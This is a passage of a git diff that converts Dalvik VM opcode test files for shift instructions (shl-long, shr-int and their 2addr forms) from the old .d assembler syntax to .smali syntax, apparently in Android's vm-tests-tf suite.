--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_3.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shl-long v0, v7, v9
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali
new file mode 100644
index 0000000..08babca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_3.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long v0, v7, v9
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d
deleted file mode 100644
index 4392e2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_4.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shl-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali
new file mode 100644
index 0000000..2b3abcc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_4.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d
deleted file mode 100644
index 29ad593..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_5.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shl-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali
new file mode 100644
index 0000000..a754ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_5.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d
deleted file mode 100644
index 105c0e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_6.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v7, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali
new file mode 100644
index 0000000..01b2e91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_6.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v7, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d
deleted file mode 100644
index ed9faf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_7.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shl-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali
new file mode 100644
index 0000000..f7e48ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_7.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d
deleted file mode 100644
index b2e3bb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_1.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali
new file mode 100644
index 0000000..07e2242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d
deleted file mode 100644
index fd4598a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_2.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v8, v11
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali
new file mode 100644
index 0000000..c6882e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v11
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d
deleted file mode 100644
index 41c08f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_3.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shl-long/2addr v7, v9
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali
new file mode 100644
index 0000000..92cbc84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long/2addr v7, v9
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d
deleted file mode 100644
index 4c69423..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_4.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shl-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali
new file mode 100644
index 0000000..0aca40d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d
deleted file mode 100644
index bb9b45b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_5.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shl-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali
new file mode 100644
index 0000000..196e347
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d
deleted file mode 100644
index 50738c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_6.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long/2addr v7, v10
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali
new file mode 100644
index 0000000..6407de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v7, v10
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d
deleted file mode 100644
index 42b0717..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2addr_7.java
-.class public dot.junit.opcodes.shl_long_2addr.d.T_shl_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shl-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali
new file mode 100644
index 0000000..0607e41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d
deleted file mode 100644
index 9eaa104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_1.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali
new file mode 100644
index 0000000..0ff376d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_1.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d
deleted file mode 100644
index 8800018..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali
new file mode 100644
index 0000000..1e892d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d
deleted file mode 100644
index 1f0c5287..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_3.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali
new file mode 100644
index 0000000..b430db2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_3.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d
deleted file mode 100644
index eede586..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_4.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali
new file mode 100644
index 0000000..4f40160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_4.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d
deleted file mode 100644
index fe57998..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_5.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali
new file mode 100644
index 0000000..1838f89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_5.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d
deleted file mode 100644
index 0323c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_6.java
-.class public dot.junit.opcodes.shr_int.d.T_shr_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shr-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali
new file mode 100644
index 0000000..255dff8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_6.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d
deleted file mode 100644
index 28765b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_1.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali
new file mode 100644
index 0000000..e7de460
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d
deleted file mode 100644
index a7bc7ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_2.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali
new file mode 100644
index 0000000..84121ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2;
